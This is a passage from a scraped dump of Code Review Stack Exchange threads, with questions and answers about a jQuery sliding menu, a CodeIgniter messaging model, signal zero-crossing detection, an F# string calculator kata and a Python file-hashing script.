<h3>RETAIL</h3>
</div>
<div id="workDiv_healthcare">
<h3>HEALTH CARE</h3>
</div>
<div id="workDiv_power_infrastructure">
<h3>POWER &amp; INFRASTRUCTURE</h3>
</div>
<div id="workDiv_manufacturing">
<h3>MANUFACTURING</h3>
</div>
<div id="workDiv_food_beverage">
<h3>FOOD &amp; BEVERAGE</h3>
</div>
<div id="workDiv_cultural_community">
<h3>CULTURAL &amp; COMMUNITY</h3>
</div>
</div>
</div>
</code></pre>
<p><strong>JavaScript</strong></p>
<pre><code>$('.toggleWidth1').click(function () {
$('#workDiv_healthcare').slideLeft();
$('#workDiv_power_infrastructure').slideLeft();
$('#workDiv_manufacturing').slideLeft();
$('#workDiv_food_beverage').slideLeft();
$('#workDiv_cultural_community').slideLeft();
$('#workDiv_retail').slideToggleWidth();
});
$('.toggleWidth2').click(function () {
$('#workDiv_retail').slideLeft();
$('#workDiv_power_infrastructure').slideLeft();
$('#workDiv_manufacturing').slideLeft();
$('#workDiv_food_beverage').slideLeft();
$('#workDiv_cultural_community').slideLeft();
$('#workDiv_healthcare').slideToggleWidth();
});
$('.toggleWidth3').click(function () {
$('#workDiv_retail').slideLeft();
$('#workDiv_healthcare').slideLeft();
$('#workDiv_manufacturing').slideLeft();
$('#workDiv_food_beverage').slideLeft();
$('#workDiv_cultural_community').slideLeft();
$('#workDiv_power_infrastructure').slideToggleWidth();
});
$('.toggleWidth4').click(function () {
$('#workDiv_retail').slideLeft();
$('#workDiv_healthcare').slideLeft();
$('#workDiv_power_infrastructure').slideLeft();
$('#workDiv_food_beverage').slideLeft();
$('#workDiv_cultural_community').slideLeft();
$('#workDiv_manufacturing').slideToggleWidth();
});
$('.toggleWidth5').click(function () {
$('#workDiv_retail').slideLeft();
$('#workDiv_healthcare').slideLeft();
$('#workDiv_power_infrastructure').slideLeft();
$('#workDiv_manufacturing').slideLeft();
$('#workDiv_cultural_community').slideLeft();
$('#workDiv_food_beverage').slideToggleWidth();
});
$('.toggleWidth6').click(function () {
$('#workDiv_retail').slideLeft();
$('#workDiv_healthcare').slideLeft();
$('#workDiv_power_infrastructure').slideLeft();
$('#workDiv_manufacturing').slideLeft();
$('#workDiv_food_beverage').slideLeft();
$('#workDiv_cultural_community').slideToggleWidth();
});
jQuery.fn.extend({
slideRight: function() {
return this.each(function() {
$(this).animate({width: 'show'});
});
},
slideLeft: function() {
return this.each(function() {
$(this).animate({width: 'hide'});
});
},
slideToggleWidth: function() {
return this.each(function() {
var h = $(this);
if (h.css('display') == 'none') {
h.slideRight();
} else {
h.slideLeft();
}
});
}
});
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T20:43:23.910",
"Id": "16552",
"Score": "0",
"body": "A few comments - avoid using ids, prefer using classes that describe the elements to prevent weird conflicts. Also, don't include the element type in the id/classname, there's no point in that. Finally, the more common convention is to separate words with hyphens over underscores."
}
] |
[
{
"body": "<p>If you make the <code>href</code> the <code>id</code> of the element you wish to <code>show</code> you can simplify it greatly.</p>\n\n<p>This works since you use the structure of your document to your advantage you know you want to <code>hide</code> all the <code><div/></code> child elements under <code>#workDiv</code> regardless of the <code>id</code> and only want to show the <code><div/></code> of the <code><a/></code> you clicked on. And since the <code><a/></code> contains a <code>href</code> that links to the <code><div/></code> you want to show you can simply retrive that value and show the correct element.</p>\n\n<p><strong><code><html/></code></strong></p>\n\n<pre><code><ul id=\"gallery\">\n <li><a href=\"#workDiv_retail\" class=\"toggleWidth\" >RETAIL</a></li>\n <!-- the others...-->\n</ul>\n</code></pre>\n\n<p><strong>jQuery</strong></p>\n\n<pre><code>$('.toggleWidth').click(function(e) {\n e.preventDefault();\n var id = $(this).attr(\"href\");\n $(\"#workDiv > div\").slideLeft();\n $(id).slideToggleWidth(); \n});\n</code></pre>\n\n<p><strong><a href=\"http://jsfiddle.net/markcoleman/3BT7t/9/\" rel=\"nofollow\">Updated jsfiddle</a></strong></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T19:31:14.130",
"Id": "10377",
"ParentId": "10376",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10377",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T19:05:07.240",
"Id": "10376",
"Score": "3",
"Tags": [
"javascript",
"jquery",
"html"
],
"Title": "Sliding panel menu"
}
|
10376
|
<p>I'm just wondering how my model looks. And by this I mean did I perform the correct tests with the results on each function and use the return at the right points. If you can check all functions. I'm curious to know about if I did the sendMessage function correctly.</p>
<pre><code><?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class Pmmodel extends CI_Model
{
function __construct()
{
parent::__construct();
}
function getInboxUnreadMessagesCount($userID)
{
$this->db->from('usersPersonalMessages AS pm');
$this->db->join('usersPersonalMessagesRecipients AS pmr', 'pm.id = pmr.usersPersonalMessagesID');
$this->db->where('pmr.userID', $userID);
$this->db->where('pmr.messageRead', '0');
$query = $this->db->get();
if ($query->num_rows() > 0)
{
return $query->num_rows();
}
else
{
return 0;
}
}
function getInboxMessagesCount($userID)
{
$this->db->from('usersPersonalMessages AS pm');
$this->db->join('usersPersonalMessagesRecipients AS pmr', 'pm.id = pmr.usersPersonalMessagesID');
$this->db->where('pmr.userID', $userID);
$query = $this->db->get();
if ($query->num_rows() > 0)
{
return $query->num_rows();
}
else
{
return 0;
}
}
function getLast5Messages($userID)
{
$this->db->select('pm.id');
$this->db->select('pm.subject');
$this->db->select('users.firstName');
$this->db->select('users.lastName');
$this->db->select("DATE_FORMAT(pm.dateSent, '%M %D, %Y') AS dateSent", FALSE);
$this->db->select('pmr.messageRead');
$this->db->from('usersPersonalMessages AS pm');
$this->db->join('users', 'users.userID = pm.senderID');
$this->db->join('usersPersonalMessagesRecipients AS pmr', 'pm.id = pmr.usersPersonalMessagesID');
$this->db->where('pmr.userID', $userID);
$this->db->order_by('pm.dateSent', 'desc');
$this->db->limit(5);
$query = $this->db->get();
if ($query->num_rows() > 0)
{
return $query->result();;
}
else
{
return array();
}
}
function getInboxMessages($userID)
{
$this->db->select('pm.id');
$this->db->select('pm.subject');
$this->db->select('users.firstName');
$this->db->select('users.lastName');
$this->db->select("DATE_FORMAT(pm.dateSent, '%M %D, %Y') AS dateSent", FALSE);
$this->db->select('pmr.messageRead');
$this->db->from('usersPersonalMessages AS pm');
$this->db->join('users', 'users.userID = pm.senderID');
$this->db->join('usersPersonalMessagesRecipients AS pmr', 'pm.id = pmr.usersPersonalMessagesID');
$this->db->where('pmr.userID', $userID);
$query = $this->db->get();
if ($query->num_rows() > 0)
{
return $query->result();;
}
else
{
return NULL;
}
}
function getSentMessages($userID)
{
$this->db->select('pm.id');
$this->db->select('pm.subject');
$this->db->select('users.firstName');
$this->db->select('users.lastName');
$this->db->select("DATE_FORMAT(pm.dateSent, '%M %D, %Y') AS dateSent", FALSE);
$this->db->select('pmr.messageRead');
$this->db->from('usersPersonalMessages AS pm');
$this->db->join('usersPersonalMessagesRecipients AS pmr', 'pm.id = pmr.usersPersonalMessagesID');
$this->db->join('users', 'users.userID = pmr.userID');
$this->db->where('pm.senderID', $userID);
$query = $this->db->get();
if ($query->num_rows() > 0)
{
return $query->result();;
}
else
{
return NULL;
}
}
function sendMessage($recipients, $bcc, $subject, $message, $sender)
{
$this->db->set('subject', $subject);
$this->db->set('senderID', $sender);
$this->db->set('message', $message);
$this->db->limit(1);
$this->db->insert('usersPersonalMessages');
if ( $this->db->affected_rows() == 1)
{
$insertID = $this->db->insert_id();
foreach ($recipients as $recipientID)
{
$this->db->set('userID', $recipientID);
$this->db->set('usersPersonalMessagesID', $insertID);
$this->db->insert('usersPersonalMessagesRecipients');
if ( $this->db->affected_rows() == count($recipients))
{
continue;
}
}
if (isset($bcc) && (!empty($bcc)))
{
foreach ($bcc AS $bccID)
{
$this->db->set('userID', $bccID);
$this->db->set('usersPersonalMessagesID', $insertID);
$this->db->set('type', 2);
$this->db->insert('usersPersonalMessagesRecipients');
}
if ( $this->db->affected_rows() == count($bcc))
{
continue;
}
}
continue;
}
return TRUE;
}
function readMessage($messageID, $userID)
{
$this->db->set('messageRead', 1);
$this->db->where('usersPersonalMessagesID', $messageID);
$this->db->where('userID', $userID);
$this->db->limit(1);
$this->db->update('usersPersonalMessagesRecipients');
if ( $this->db->affected_rows() == 1)
{
return TRUE;
}
return FALSE;
}
function getPmMessage($messageID, $userID)
{
$this->db->select('pm.id');
$this->db->select('pm.subject');
$this->db->select('pm.message');
$this->db->select("DATE_FORMAT(pm.dateSent, '%M %D, %Y') AS dateSent", FALSE);
$this->db->select('pmr.type');
$this->db->select('users.firstName');
$this->db->select('users.lastName');
$this->db->from('usersPersonalMessages AS pm');
$this->db->join('usersPersonalMessagesRecipients AS pmr', 'pm.id = pmr.usersPersonalMessagesID');
$this->db->join('users', 'users.userID = pm.senderID');
$this->db->where('pmr.userID', $userID);
$this->db->where('pm.id', $message_id);
$query = $this->db->get();
if ($query->num_rows() > 0)
{
return $query->row();;
}
else
{
return NULL;
}
}
}
/* End of file pmmodel.php */
/* Location: ./app/models/pmmodel.php */
?>
</code></pre>
|
[] |
[
{
"body": "<p>Well taking a brief look and not knowing everything your code is doing in general outside of this model, I would assume its fine. However down at the bottom the last if-else statement you have. </p>\n\n<pre><code>return $query->row();;\n</code></pre>\n\n<p>which is an extra semi-colon. Remove that, and I'd say your code looks clean and well structured. Give it a run, see if it works.</p>\n\n<p>One thing to keep in mind is coding is a lot of trial and error, and with that there is no one particular way to handle any given set of events you want to create. Meaning I might be able to recreate the same functionality in a far different way then yours. Doesn't mean its right or wrong. At the end of the day as long as what your building runs smooth and fast without error I would think your or anyone in general good to go.</p>\n\n<p>On a different note however. The functions you have parameters being passed to. Maybe this is me being a stickler. But you may want to error check those before setting up and running your query. Error check in this sense to me means make sure they aren't null, empty, make sure they are set, and depending on what you might be wanting to pass such as specifically an integer or maybe a value that resembles a string that is email address format. I only say this cause why bother running the query or even attempting if the criteria doesn't fit the need.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T21:52:37.747",
"Id": "10384",
"ParentId": "10378",
"Score": "2"
}
}
] |
{
"AcceptedAnswerId": "10384",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T19:39:17.010",
"Id": "10378",
"Score": "3",
"Tags": [
"php",
"codeigniter"
],
"Title": "Personal Messsage Model"
}
|
10378
|
<p>I'm trying to get the peaks/zero crossings from a basic 1D signal and am not sure if my naive/basic approach is correct:</p>
<pre><code>float[] signal = {168.02423,167.11852,167.50813,166.8597,166.05814,165.11226,164.18024,162.52278,159.26706,154.01059,151.02512,145.88942,139.96555,131.64963,128.41841,125.55873,123.26397,121.80526,120.997765,120.13878,120.15161,120.45633,121.23436,120.788994,120.17174,119.775856,119.009384,117.477,115.0316,108.588875,100.850945,88.417404,82.39221,74.47572,68.39083,60.352554,57.09356,54.930645,54.195927,53.56418,53.094868,53.119434,53.129646,53.692352,53.817867,54.48929,55.07399,56.200096,56.464325,56.61977,56.26392,55.87918,55.708,56.005222,56.370075,57.943306,60.338276,66.09525,71.971245,83.3894,93.25841,106.6345,111.20811,114.71198,117.44606,120.572174,122.55059,125.76803,130.27737,136.78697,139.3824,141.46649,143.04817,146.876,153.58531,163.69055,167.01625,169.79066,171.79346,172.96455,174.65863,174.15462,169.83751,160.82489,157.3805,154.58945,152.88863,151.37778,149.86177,148.10445,146.99503,143.16574,136.07457,123.7554,116.98741,107.79893,101.15501,92.90702,89.435356,86.62778,84.60331,82.44227,81.345985,80.086426,78.7316,75.1582,70.30843,62.90986,60.226223,57.940796,56.880646,55.95489,55.675377,55.12072,54.582558,53.560856,53.353596,53.047993,52.981926,52.87674,53.188942,53.541054,53.332302,52.96336,52.367634,53.034874,54.12153,54.88389,57.317207,60.54665,66.118195,70.391785,77.9589,84.03312,93.41969,99.085686,105.99711,109.171776,112.26317,114.13363,116.024254,117.41363,118.9697,120.61764,121.154816,121.67257,121.55961,121.32448,120.59877,120.989365,121.22733,121.907104,122.72483,123.732155,124.994804,126.84889,129.00806,134.3398,141.73413,152.50774,156.32497,159.0031,160.628,161.92178,163.19771,164.65904,166.22505,167.14778,167.68938,168.30038,168.64857,169.15517,168.63728,168.94241};
int sl = signal.length;
void setup(){
size(400,400);
noFill();
smooth();
float[] sorted = new float[sl];
arrayCopy(signal,sorted);
Arrays.sort(sorted);
float min = sorted[0];
float max = sorted[sl-1];
background(255);
boolean wasPlus = true,isPlus = false;
for(int i = 0 ; i < sl; i++){
//plotting
float x = map(i,0,sl,1,width-1);
float y = map(signal[i],min,max,height,0);
stroke(0);
line(x,height,x,y);
//zerox
float c = signal[i];//current
float p = signal[i < 1 ? sl-1 : i-1];//previous
isPlus = (c-p) > 0;
if(isPlus != wasPlus) {
stroke(192,0,0);
ellipse(x,y,5,5);
wasPlus = isPlus;
}
}
}
</code></pre>
<p>Results:</p>
<p><img src="https://i.stack.imgur.com/y2zAO.png" alt="zerox preview"></p>
<p>It looks like I'm close, but I was hoping I can get one circle at a peak, not several. Any hints/tips? </p>
|
[] |
[
{
"body": "<p>Well, fine for good signals. Good signals means low noise level, absense of features like very slow volume change rates, etc.\nOtherwise, you need things like FIR filter(s) to average and diffifentiate signal and use an interpolation to increase precision of the detection.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T10:30:19.877",
"Id": "16567",
"Score": "0",
"body": "Thanks! I've used 'triangle' smoothing/averaging on the original data first, above is the result. Any tips on how I can get one peak marked instead of several close ones ?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T10:38:45.250",
"Id": "16568",
"Score": "0",
"body": "Sorry, I didn't do my reading on FIR filters :) [Moving average](http://en.wikipedia.org/wiki/Moving_average) does the tricky in this case. Thanks again!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T11:39:15.547",
"Id": "16570",
"Score": "0",
"body": "Moving average is an example of FIR :)"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T09:35:52.317",
"Id": "10394",
"ParentId": "10380",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10394",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T20:28:58.020",
"Id": "10380",
"Score": "3",
"Tags": [
"algorithm",
"computational-geometry",
"signal-processing",
"processing"
],
"Title": "Zero crossings from a 1D signal"
}
|
10380
|
<p>This is some of my first real F# code ever. I have done a bit of reading and watched a few videos however. I chose to do a code kata for string calculator to try it out.</p>
<p>The kata I was working on is here <a href="http://osherove.com/tdd-kata-1/" rel="nofollow">by Roy Osherove</a>, though I may have strayed a bit.</p>
<p>I am pretty happy with this, but wonder if there are things that could be better, or more idiomatic F#. I am specifically wondering if there is a better option to having the overloaded Add members. I'm also curious about the last test and exception handling best practices.</p>
<pre><code>module Tests
open Xunit
open System
type Calculator() =
let delimiters = ",\n"
member x.Add (m:int, n:int list) =
match n with
|[] -> m
|y::ys ->
if y < 0 then failwith "No Negative Numbers"
x.Add((m+y),ys)
member x.Add (y:string) =
let numList = List.map (fun x -> x.ToString() |> Convert.ToInt32) (delimiters.ToCharArray() |> y.Split |> Seq.toList)
x.Add(0,numList)
[<Fact>]
let ReturnsNotNull() =
let calc = new Calculator()
Assert.NotNull (calc.Add "0,0")
[<Fact>]
let ReturnsZeroWhenZeros() =
let calc = new Calculator()
Assert.Equal(0,(calc.Add "0,0"))
[<Fact>]
let ReturnsOneWhenShouldBeOneOnLeft() =
let calc = new Calculator()
Assert.Equal(1,(calc.Add "1,0"))
[<Fact>]
let ReturnsOneWhenShouldBeOneOnRight() =
let calc = new Calculator()
Assert.Equal(1,(calc.Add "0,1"))
[<Fact>]
let ReturnsElevenWithStringOfNumbersThatTotalEleven() =
let calc = new Calculator()
Assert.Equal(11,(calc.Add "0,1,1,1,1,1,6"))
[<Fact>]
let ReturnsElevenWithStringOfNumbersThatTotalElevenDelimitedByNewLine() =
let calc = new Calculator()
Assert.Equal(11,(calc.Add "0,1,1\n1,2\n6"))
[<Fact>]
let ReturnsElevenWithStringOfNumbersThatTotalElevenDelimitedByNewLineNoNegativeNumbers() =
let calc = new Calculator()
try
calc.Add("0,1,-1\n1,2\n6") |> ignore
Assert.False true
with
| _ -> Assert.True true
</code></pre>
|
[] |
[
{
"body": "<p>Is there a specific reason you want to accept a string? You could pass a list and get by with one overload.</p>\n\n<pre><code>type Calculator() =\n member x.Add(nums: int list) = List.sum nums\n\nlet calc = Calculator()\n\ncalc.Add([0; 0])\ncalc.Add([1; 2; 3; 4])\ncalc.Add(List.init 10 id)\n</code></pre>\n\n<p>EDIT</p>\n\n<p>I'm sorry, I misunderstood the point of the exercise. There are a few changes I would make. </p>\n\n<ul>\n<li>According to the kata, you only need one method taking a string and returning an int.</li>\n<li>There's an overload of <code>String.Split</code> accepting a char array, so you can store your delimiters as such and avoid the call to <code>ToCharArray</code>.</li>\n<li>You can use the built-in <code>int</code> function instead of <code>Convert.ToInt32</code>.</li>\n<li>There's no need to roll your own \"sum\" function. It's already built into the various collection modules.</li>\n</ul>\n\n<p>The following code satisfies steps 1-3.</p>\n\n<pre><code>type Calculator() =\n\n let delimiters = [|','; '\\n'|]\n\n member x.Add(nums) = \n match nums with\n | null -> nullArg \"nums\"\n | \"\" -> 0\n | _ -> \n nums.Split(delimiters) \n |> Array.map int \n |> Array.sum\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T22:52:12.100",
"Id": "16554",
"Score": "0",
"body": "that is just the requirement in the kata i was implementing. its called StringCalculator. its not a \"Real\" problem, just one designed to practice/learn. I apologize if i didn't make that clear enough. see link at bottom of question."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T14:19:09.853",
"Id": "16581",
"Score": "0",
"body": "I updated my answer. Hope that helps."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-28T15:23:30.263",
"Id": "16588",
"Score": "0",
"body": "thanks! these are the kind of pointers i was looking for."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T22:49:10.530",
"Id": "10386",
"ParentId": "10382",
"Score": "3"
}
}
] |
{
"AcceptedAnswerId": "10386",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T20:48:18.500",
"Id": "10382",
"Score": "3",
"Tags": [
"beginner",
"f#",
"calculator"
],
"Title": "String calculator in F#"
}
|
10382
|
<p>Any thoughts on my code? It's a simple hashing code that runs from the command line.</p>
<p>There just appears to be a lot of condition <code>if</code> / <code>elif</code> entries in both of the main functions (<code>hashingmethod</code> and <code>hashcalculator</code>). </p>
<pre><code># hashcalculator.py
import sys
import hashlib
args = len(sys.argv)
def inputVerification():
if sys.argv[1] == "--help":
scriptHelp()
elif args < 5:
print "You have failed to execute the command correctly"
print "Please type 'hashcalculator --help' for more information"
else:
filename = sys.argv[2]
hashingMethod(filename)
def scriptHelp():
print "\n"
print "----------------------------------------"
print "\tWelcome to Hash Calculator"
print "----------------------------------------"
print "\n"
print "--help"
print "\n"
print "In order to calculate the hash value of a file, your command line syntax"
print "must be written as below:-"
print "\n"
print "\thashcalculator -f [file] -h [hash method]"
print "\teg. hashcalculator -f notepad.exe -h SHA1"
print "\n"
print "The recognised hashing methods are MD5, SHA1, SHA224, SHA256, SHA384 and SHA512"
def hashingMethod(filename):
hashmethod = sys.argv[4].upper()
if hashmethod == "MD5":
hashCalculator(filename, "md5")
elif hashmethod == "SHA1":
hashCalculator(filename, "sha1")
elif hashmethod == "SHA224":
hashCalculator(filename, "sha224")
elif hashmethod == "SHA256":
hashCalculator(filename, "sha256")
elif hashmethod == "SHA384":
hashCalculator(filename, "sha384")
elif hashmethod == "SHA512":
hashCalculator(filename, "sha512")
else:
print "You have not entered a valid hashing method"
print "Please review the help document"
scriptHelp()
def hashCalculator(filename, hashmethod):
with open(filename, 'rb') as f:
if hashmethod == "md5":
m = hashlib.md5()
elif hashmethod == "sha1":
m = hashlib.sha1()
elif hashmethod == "sha224":
m = hashlib.sha224()
elif hashmethod == "sha256":
m = hashlib.sha256()
elif hashmethod == "sha384":
m = hashlib.sha384()
elif hashmethod == "sha512":
m = hashlib.sha512()
else:
scriptHelp()
while True:
data = f.read(8192)
if not data:
break
m.update(data)
print "\n\n"
print "The %s hash of file %s is:" % (hashmethod.upper(), filename)
print "\n", m.hexdigest()
if __name__ == "__main__":
inputVerification()
</code></pre>
|
[] |
[
{
"body": "<p>You should really take a look at <a href=\"http://docs.python.org/library/argparse.html\" rel=\"nofollow noreferrer\"><code>argparse</code></a>: <em>the argparse module makes it easy to write user-friendly command-line interfaces</em>. It will even take care of writing the help for you.</p>\n\n<p>Even if you will apply very little of the following (since you should really use the <code>argparse</code> module), I'll give you some advice anyway.</p>\n\n<h2><a href=\"http://docs.python.org/library/stdtypes.html#str.lower\" rel=\"nofollow noreferrer\"><code>str.lower()</code></a></h2>\n\n<p>This:</p>\n\n<pre><code>if hashmethod == \"MD5\":\n hashCalculator(filename, \"md5\")\nelif hashmethod == \"SHA1\":\n hashCalculator(filename, \"sha1\")\nelif hashmethod == \"SHA224\":\n hashCalculator(filename, \"sha224\")\nelif hashmethod == \"SHA256\":\n hashCalculator(filename, \"sha256\")\nelif hashmethod == \"SHA384\":\n hashCalculator(filename, \"sha384\")\nelif hashmethod == \"SHA512\":\n hashCalculator(filename, \"sha512\")\n</code></pre>\n\n<p>could just be:</p>\n\n<pre><code>hashCalculator(filename, hashmethod.lower())\n</code></pre>\n\n<h2>Coding style</h2>\n\n<p>Follow the official coding style, the main rules are summarized <a href=\"https://codereview.meta.stackexchange.com/a/495/10415\">here</a>.</p>\n\n<h2><a href=\"http://docs.python.org/library/functions.html#getattr\" rel=\"nofollow noreferrer\"><code>getattr()</code></a></h2>\n\n<p>This:</p>\n\n<pre><code>if hashmethod == \"md5\":\n m = hashlib.md5()\nelif hashmethod == \"sha1\":\n m = hashlib.sha1()\nelif hashmethod == \"sha224\":\n m = hashlib.sha224()\nelif hashmethod == \"sha256\":\n m = hashlib.sha256()\nelif hashmethod == \"sha384\":\n m = hashlib.sha384()\nelif hashmethod == \"sha512\":\n m = hashlib.sha512()\n</code></pre>\n\n<p>could just be:</p>\n\n<pre><code>m = getattr(hashlib, hashmethod)\n</code></pre>\n\n<h2>Multiple line strings</h2>\n\n<p>Don't do this:</p>\n\n<pre><code>print \"\\n\"\nprint \"----------------------------------------\"\nprint \"\\tWelcome to Hash Calculator\"\nprint \"----------------------------------------\"\nprint \"\\n\"\nprint \"--help\"\nprint \"\\n\"\nprint \"In order to calculate the hash value of a file, your command line syntax\"\nprint \"must be written as below:-\"\nprint \"\\n\"\nprint \"\\thashcalculator -f [file] -h [hash method]\"\nprint \"\\teg. hashcalculator -f notepad.exe -h SHA1\"\nprint \"\\n\"\nprint \"The recognised hashing methods are MD5, SHA1, SHA224, SHA256, SHA384 and SHA512\"\n</code></pre>\n\n<p>Do this instead:</p>\n\n<pre><code>msg = \"\"\"\n----------------------------------------\n\\tWelcome to Hash Calculator\n----------------------------------------\n\n--help\n\nIn order to calculate the hash value of a file, your command line syntax\nmust be written as below:-\n\\thashcalculator -f [file] -h [hash method]\n\\teg. hashcalculator -f notepad.exe -h SHA1\n\nThe recognised hashing methods are MD5, SHA1, SHA224, SHA256, SHA384 and SHA512\"\"\"\n\nprint msg\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T16:19:12.863",
"Id": "16719",
"Score": "0",
"body": "Thanks for the advice Rik. Some really good pointers made and some really obvious oversights on my behalf!!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T22:56:57.557",
"Id": "10387",
"ParentId": "10383",
"Score": "8"
}
},
{
"body": "<pre><code>import sys\nimport hashlib\n\n\nargs = len(sys.argv)\n</code></pre>\n\n<p>You don't really get anything by doing this. You only use it once. Just use <code>len(sys.argv)</code> instead of <code>args</code>.</p>\n\n<pre><code>def inputVerification():\n</code></pre>\n\n<p>Python convention is to have lowercase_with_underscores</p>\n\n<pre><code> if sys.argv[1] == \"--help\":\n scriptHelp()\n</code></pre>\n\n<p>What if the user passed no arguments? This will fail.</p>\n\n<pre><code> elif args < 5:\n print \"You have failed to execute the command correctly\"\n print \"Please type 'hashcalculator --help' for more information\"\n else:\n filename = sys.argv[2]\n hashingMethod(filename)\n</code></pre>\n\n<p>Don't call the next function at the end of the function. You should return the filename from this function and then call hashingMethod in the caller.</p>\n\n<pre><code>def scriptHelp():\n print \"\\n\"\n print \"----------------------------------------\"\n print \"\\tWelcome to Hash Calculator\"\n print \"----------------------------------------\"\n print \"\\n\"\n print \"--help\"\n print \"\\n\"\n print \"In order to calculate the hash value of a file, your command line syntax\"\n print \"must be written as below:-\"\n print \"\\n\"\n print \"\\thashcalculator -f [file] -h [hash method]\"\n print \"\\teg. hashcalculator -f notepad.exe -h SHA1\"\n print \"\\n\"\n print \"The recognised hashing methods are MD5, SHA1, SHA224, SHA256, SHA384 and SHA512\" \n</code></pre>\n\n<p>You should this in a multiline string rather then lots of print statements.</p>\n\n<pre><code>def hashingMethod(filename):\n hashmethod = sys.argv[4].upper()\n if hashmethod == \"MD5\":\n hashCalculator(filename, \"md5\")\n elif hashmethod == \"SHA1\":\n hashCalculator(filename, \"sha1\")\n elif hashmethod == \"SHA224\":\n hashCalculator(filename, \"sha224\")\n elif hashmethod == \"SHA256\":\n hashCalculator(filename, \"sha256\")\n elif hashmethod == \"SHA384\":\n hashCalculator(filename, \"sha384\")\n elif hashmethod == \"SHA512\":\n hashCalculator(filename, \"sha512\")\n else:\n print \"You have not entered a valid hashing method\"\n print \"Please review the help document\"\n scriptHelp()\n</code></pre>\n\n<p>Instead of chains of IFs, put your supported methods in a list.</p>\n\n<pre><code>def hashCalculator(filename, hashmethod):\n with open(filename, 'rb') as f:\n if hashmethod == \"md5\":\n m = hashlib.md5()\n elif hashmethod == \"sha1\":\n m = hashlib.sha1()\n elif hashmethod == \"sha224\":\n m = hashlib.sha224()\n elif hashmethod == \"sha256\":\n m = hashlib.sha256()\n elif hashmethod == \"sha384\":\n m = hashlib.sha384()\n elif hashmethod == \"sha512\":\n m = hashlib.sha512()\n else:\n scriptHelp()\n</code></pre>\n\n<p>Instead of doing this, I'd suggest using a dictionary</p>\n\n<pre><code> while True:\n data = f.read(8192)\n if not data:\n break\n m.update(data)\n\n print \"\\n\\n\"\n print \"The %s hash of file %s is:\" % (hashmethod.upper(), filename)\n print \"\\n\", m.hexdigest()\n</code></pre>\n\n<p>Don't mix your output with your logic.</p>\n\n<pre><code>if __name__ == \"__main__\":\n inputVerification()\n</code></pre>\n\n<p>You only seem to read a few random entries from sys.argv. You don't look at argv[3] at all. You only pay attention if argv[1] is \"--help\". </p>\n\n<p>Here's me reworking of your code:</p>\n\n<pre><code>import sys\nimport hashlib\n\nHASH_METHODS = {\n 'md5' : hashlib.md5,\n 'sha1' : hashlib.sha1,\n 'sha224' : hashlib.sha224,\n 'sha256' : hashlib.sha256,\n 'sha384' : hashlib.sha384,\n 'sha512' : hashlib.sha512\n}\n\nUSAGE = \"\"\"\n\n----------------------------------------\n\\tWelcome to Hash Calculator\n----------------------------------------\n\n--help\n\nIn order to calculate the hash value of a file, your command line syntax\nmust be written as below:-\n\n\nhashcalculator -f [file] -h [hash method]\n\\teg. hashcalculator -f notepad.exe -h SHA1\n\n\nThe recognised hashing methods are MD5, SHA1, SHA224, SHA256, SHA384 and SHA512\n\"\"\"\n\ndef hash_file(method, filename):\n m = method()\n with open(filename) as f:\n while True:\n data = f.read(8192)\n if not data:\n break\n m.update(data)\n return m.hexdigest()\n\ndef show_script_help():\n print USAGE\n\n\ndef main(args):\n if args[1:] == ['--help']:\n show_script_help()\n elif len(args) != 3:\n print \"You have failed to execute the command correctly\"\n print \"Please type 'hashcalculator --help' for more information\"\n else:\n filename, hash_method = sys.argv[1:]\n\n try:\n method = HASH_METHODS[hash_method]\n except KeyError:\n print \"You have not entered a valid hashing method\"\n print \"Please review the help document\"\n else:\n hashed = hash_file(method, filename)\n print \"\\n\\n\"\n print \"The %s hash of file %s is:\" % (hash_method.upper(), filename)\n print \"\\n\", hashed\n\n\n\nif __name__ == \"__main__\":\n main()\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-30T16:18:50.320",
"Id": "16718",
"Score": "0",
"body": "Many thanks for the advice @Winston. Much appreciate and thanks for the time in assisting me and reviewing my code. Some really good points made."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-27T23:47:54.553",
"Id": "10388",
"ParentId": "10383",
"Score": "2"
}
},
{
